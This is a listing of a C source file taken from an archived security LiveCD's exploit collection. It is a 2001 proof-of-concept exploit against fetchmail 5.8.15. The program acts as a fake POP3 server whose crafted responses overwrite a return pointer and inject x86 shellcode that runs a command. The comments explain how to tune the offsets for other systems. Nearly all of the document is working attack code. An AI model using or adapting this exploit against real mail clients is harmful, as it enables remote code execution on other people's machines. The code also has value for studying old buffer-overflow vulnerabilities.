home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / fetchmail / fetchmail-exploit.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  56 lines

  1. /* fetchmail proof of concepts i386 exploit
  2.  * Copyright (C) 2001 Salvatore Sanfilippo <antirez@invece.org>
  3.  * Code under the GPL license.
  4.  *
  5.  * Usage: ./a.out | nc -l -p 3333
  6.  * fetchmail localhost -P 3333 -p POP3
  7.  *
  8.  * This is a bad exploit with offset carefully selected
  9.  * to work in my own system. It will probably not work in
  10.  * your system if you don't modify RETR_OFFSET and SHELL_PTR,
  11.  * but you may try to set the SHELL_PTR to 0xAAAAAAAA
  12.  * and use gdb to obtain the proof that your fetchmail is vulnerable
  13.  * without to exploit it.
  14.  * Or just read the code in pop3.c.
  15.  *
  16.  * To improve the exploit portability you may put the shellcode inside
  17.  * one of the static char buffers, grep 'static char' *.c.
  18.  *
  19.  * Tested on fetchmail 5.8.15 running on Linux 2.4.6
  20.  *
  21.  * On success you should see the ls output.
  22.  */
  23.  
  24. #include <stdio.h>
  25.  
  26. #define MESSAGES 10
  27. #define RETR_OFFSET -20
  28. #define SHELL_PTR 0xbfffba94
  29.  
  30. int main(void)
  31. {
  32.     int ish = SHELL_PTR;
  33.     int ret_offset = -10;
  34.     char shellcode[] = /* take the shellcode multiple of 4 in size */
  35.     "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  36.     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  37.     "\x80\xe8\xdc\xff\xff\xff/bin/ls\0\0";
  38.     int *sc = (int*) shellcode;
  39.     int noop = 0x90909090;
  40.     int i;
  41.  
  42.     /* +OK for user and password, than report the number of messages */
  43.     printf("+OK\r\n+OK\r\n+OK\r\n+OK %d 0\r\n+OK 0\r\n+OK\r\n", MESSAGES);
  44.     /* Overwrite the RET pointer */
  45.     for (i = ret_offset-20; i < ret_offset+20; i++)
  46.         printf("%d %d\r\n", i, ish);
  47.     /* Put some NOP */
  48.     for (i = 1; i < 21; i++)
  49.         printf("%d %d\r\n", i, noop);
  50.     /* Put the shell code in the buffer */
  51.     for (i = 21; i < 21+(sizeof(shellcode)/4); i++)
  52.         printf("%d %d\r\n", i, *sc++);
  53.     printf(".\r\n"); /* POP data term */
  54.     return 0;
  55. }
  56.